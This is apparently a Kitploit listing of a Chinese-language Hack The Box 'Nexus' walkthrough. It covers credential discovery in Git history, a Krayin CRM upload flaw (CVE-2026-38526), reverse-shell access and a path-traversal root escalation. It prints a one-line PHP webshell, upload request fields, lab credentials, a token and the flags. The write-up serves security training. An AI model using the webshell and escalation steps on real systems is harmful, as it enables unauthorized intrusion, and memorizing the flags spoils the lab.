Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
htb-labs-nexus — Hack The Box Nexus 机器通关文章,涵盖侦察、Gitea 凭据发现、通过 CVE-2026-38526 利用 Krayin CRM、初始访问,以及通过存在漏洞的 Gitea 模板同步服务进行权限提升。 | Kitploit
工具/GitHubGitHub/diegorivas1/htb-labs-nexus
权限提升侦察漏洞分析漏洞利用Web应用程序漏洞利用Web安全CTF渗透测试学习与教育实验室与实践
GitHubdiegorivas1/htb-labs-nexus

htb-labs-nexus

Hack The Box Nexus 机器通关文章,涵盖侦察、Gitea 凭据发现、通过 CVE-2026-38526 利用 Krayin CRM、初始访问,以及通过存在漏洞的 Gitea 模板同步服务进行权限提升。

8小时2分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

🏴‍☠️ HTB Labs - Nexus

English 🇺🇸 | Español 🇪🇸

English | Español

HTB Difficulty OS Platform


📋 概述

Nexus 是 Hack The Box 上一台简单难度的 Linux 机器,演示了一条多阶段攻击链,涉及虚拟主机枚举、暴露的凭据、易受攻击的 Web 应用功能、远程代码执行、凭据重用和本地权限提升。

攻击链

root@kitploit:~
侦察
      │
      ▼
虚拟主机枚举
      │
      ├── git.nexus.htb
      └── billing.nexus.htb
              │
              ▼
      Gitea 提交历史
              │
              ▼
       暴露的凭据
              │
              ▼
        Krayin CRM 登录
              │
              ▼
      CVE-2026-38526
              │
              ▼
        PHP Webshell
              │
              ▼
       反向 Shell
        (www-data)
              │
              ▼
       应用 .env
              │
              ▼
       以 jones 身份 SSH
              │
              ▼
   gitea-template-sync
              │
              ▼
       路径遍历
              │
              ▼
    恶意 Git 仓库
              │
              ▼
         以 root 身份 SSH

关键技术

  • 🔍 虚拟主机枚举
  • 🔑 通过 Git 提交历史发现凭据
  • 💻 Krayin CRM 漏洞利用
  • 🐚 PHP webshell 和反向 shell
  • 🔐 凭据重用
  • 🔬 Linux 服务枚举
  • 📂 路径遍历
  • 🌳 恶意 Git 仓库构造
  • 👑 权限提升至 root

目标 IP: 10.129.82.92


🔍 第一阶段 侦察

端口扫描

root@kitploit:~
nmap -p- -sV -sC -oN nexus_full_scan.txt 10.129.82.92

扫描结果

root@kitploit:~
22/tcp  open  ssh   OpenSSH 9.6p1 Ubuntu
80/tcp  open  http  nginx 1.24.0 (Ubuntu)

虚拟主机枚举

root@kitploit:~
gobuster vhost \
-u http://nexus.htb \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain

发现的主机

root@kitploit:~
git.nexus.htb       → Gitea
billing.nexus.htb   → Krayin CRM

将发现的主机添加到 /etc/hosts:

root@kitploit:~
echo "10.129.82.92 nexus.htb git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts

🔑 第二阶段 凭据发现

Gitea 枚举

导航至:

root@kitploit:~
http://git.nexus.htb

一个名为:

root@kitploit:~
admin/krayin-docker-setup

的仓库在其 Git 历史中包含有用信息。

可以从之前的提交中恢复 .env 文件,从而发现当前版本中已不再存在的凭据。

发现的凭据

服务用户名密码
Krayin CRM[email protected]N27xh!!2ucY04
GiteajonesN27xh!!2ucY04

邮箱地址 [email protected] 也在主网站的招聘板块中被识别出来。


💻 第三阶段 CVE-2026-38526:Krayin CRM

CRM 登录

root@kitploit:~
URL: http://billing.nexus.htb/admin/login

邮箱: [email protected]
密码: N27xh!!2ucY04

上传 Webshell

导航至:

root@kitploit:~
/admin/mail/sent

然后:

  1. 点击撰写邮件。
  2. 附加 PHP 载荷。
  3. 使用 Burp Suite 拦截请求。
  4. 修改上传的文件名。
  5. 更改 MIME 类型。
  6. 转发请求。

载荷存储在:

root@kitploit:~
exploits/CVE-2026-38526/shell.php

载荷:

root@kitploit:~
<?php system($_GET["cmd"]); ?>

相关的 multipart 字段为:

root@kitploit:~
Content-Disposition: form-data; name="attachments[]"; filename="shell.php"
Content-Type: application/x-php

Webshell

上传成功后:

root@kitploit:~
http://billing.nexus.htb/storage/emails/2/shell.php?cmd=id

预期结果:

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)

📡 第四阶段 反向 Shell

启动监听器:

root@kitploit:~
nc -lvnp 4444

然后通过上传的 webshell 触发反向 shell。

Python 实现位于:

root@kitploit:~
exploits/CVE-2026-38526/reverse_shell.py

在此阶段,获得的 shell 身份为:

root@kitploit:~
www-data

🐚 第五阶段 用户访问

读取应用配置

检查 Krayin 配置:

root@kitploit:~
cat /var/www/krayin/.env

发现凭据:

root@kitploit:~
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR

枚举用户

root@kitploit:~
cat /etc/passwd | grep sh$

识别出 jones 账户。

以 jones 身份 SSH

root@kitploit:~
ssh [email protected]

密码:

root@kitploit:~
y27xb3ha!!74GbR

用户 Flag

root@kitploit:~
f20cbf9aeb6bb228d356a42ff49c1933

🔬 第六阶段 权限提升

枚举服务

root@kitploit:~
systemctl list-units | grep -i gitea

识别出以下服务和定时器:

root@kitploit:~
gitea-template-sync.timer
gitea-template-sync.service

该服务以提升的权限执行。

易受攻击的脚本

root@kitploit:~
/etc/gitea/template-sync.py

同步机制使用的路径构造可以通过路径遍历进行滥用。


🎯 第七阶段 恶意 Git 仓库

生成 SSH 密钥对:

root@kitploit:~
ssh-keygen -t ed25519 -f /tmp/nexus_root -N ""
cat /tmp/nexus_root.pub

Git 对象操作漏洞利用位于:

root@kitploit:~
exploits/gitea_template_sync/exploit_git.py

创建仓库:

root@kitploit:~
cd /tmp
rm -rf exploit
mkdir exploit
cd exploit

git init
python3 exploit_git.py

仓库必须使用:

root@kitploit:~
main

分支。

Gitea Token

通过以下地址生成个人访问令牌:

root@kitploit:~
http://git.nexus.htb

导航至:

root@kitploit:~
设置 → 应用

然后配置远程:

root@kitploit:~
git remote set-url origin http://jones:[email protected]/jones/exploit.git

推送恶意仓库:

root@kitploit:~
git push -f origin main

⏰ 第八阶段 模板同步

监控同步日志:

root@kitploit:~
tail -f /var/log/template-sync.log

同步成功后,恶意 Git 树将被特权服务处理。

示例:

root@kitploit:~
[2026-08-27 02:01:30] Syncing template: jones/exploit
[2026-08-27 02:01:30]   synced: ../../../../../root/.ssh/authorized_keys
[2026-08-27 02:01:30] Template sync complete

👑 第九阶段 Root

一旦 SSH 公钥被写入 root 账户:

root@kitploit:~
ssh -i /tmp/nexus_root [email protected]

验证访问:

root@kitploit:~
whoami

预期:

root@kitploit:~
root

获取 root flag:

root@kitploit:~
cat /root/root.txt

Root Flag

root@kitploit:~
85be1d2a3084e387da0e7dd118908c63

🏆 Flags

Flag值
Userf20cbf9aeb6bb228d356a42ff49c1933
Root85be1d2a3084e387da0e7dd118908c63

🔐 凭据

这些凭据属于本仓库所记录的 Hack The Box 实验室环境。


🛠️ 工具


📁 仓库结构

root@kitploit:~
htb-labs-nexus/
├── README.md
├── exploits/
│   ├── CVE-2026-38526/
│   │   ├── shell.php
│   │   ├── reverse_shell.py
│   │   └── burp_request.txt
│   └── gitea_template_sync/
│       ├── exploit_git.py
│       ├── create_repo.sh
│       └── key.pub
├── scripts/
│   ├── linpeas.sh
│   ├── LinEnum.sh
│   └── enum_services.sh
├── assets/
│   ├── nmap_scan.txt
│   ├── gobuster_vhost.txt
│   └── credentials.txt
├── screenshots/
│   ├── gitea_repo.png
│   ├── crm_login.png
│   ├── webshell.png
│   └── root_flag.png
└── notes/
    ├── methodology.md
    ├── commands.md
    └── credentials.md

📚 其他资源

  • CVE-2026-38526
  • Krayin CRM
  • Gitea 文档
  • OWASP 路径遍历

⚠️ 免责声明

本仓库仅用于教育目的和授权的安全测试。

本文档中记录的技术、凭据、漏洞利用和命令不得在未经明确授权的情况下用于任何系统。


🎯 关键要点

  1. 🔍 枚举虚拟主机: 重要服务可能隐藏在子域名后面。
  2. 🔑 审查 Git 历史: 从文件中删除机密并不意味着它已从仓库历史中消失。
  3. 💻 分析文件上传: 扩展名和 MIME 类型验证可能是关键的安全控制措施。
  4. 🐚 获得 Shell 后进行枚举: 配置文件可能包含可重用的凭据。
  5. 🔬 审查特权服务: 以 root 身份运行的服务可能成为权限提升的载体。
  6. 📂 正确验证文件路径: 对用户控制的路径处理不当可能引入路径遍历漏洞。
  7. 🌳 Git 可能成为攻击向量: 当应用错误地信任 Git 对象和树的结构时,它们可能被操纵。

🙏 致谢

  • Hack The Box :机器和实验室平台
  • P3lured :原始 write-up
  • Tran Manh Tan :补充指南

⭐ 如果你觉得这篇 write-up 有用,请考虑给仓库点个星。

下载工具
服务用户名密码 / 密钥
Krayin CRM[email protected]N27xh!!2ucY04
GiteajonesN27xh!!2ucY04
Gitea Tokenjones1dd7105bf7e57cad02c5a56af5d92703a7839364
SSHjonesy27xb3ha!!74GbR
SSH Rootroot/tmp/nexus_root
工具用途
Nmap端口和服务枚举
Gobuster虚拟主机枚举
Burp SuiteHTTP 请求拦截和修改
Git仓库分析和恶意仓库构造
Python 3漏洞利用脚本
Netcat反向 shell 监听器
LinEnumLinux 枚举
LinPEAS权限提升枚举
SSH远程访问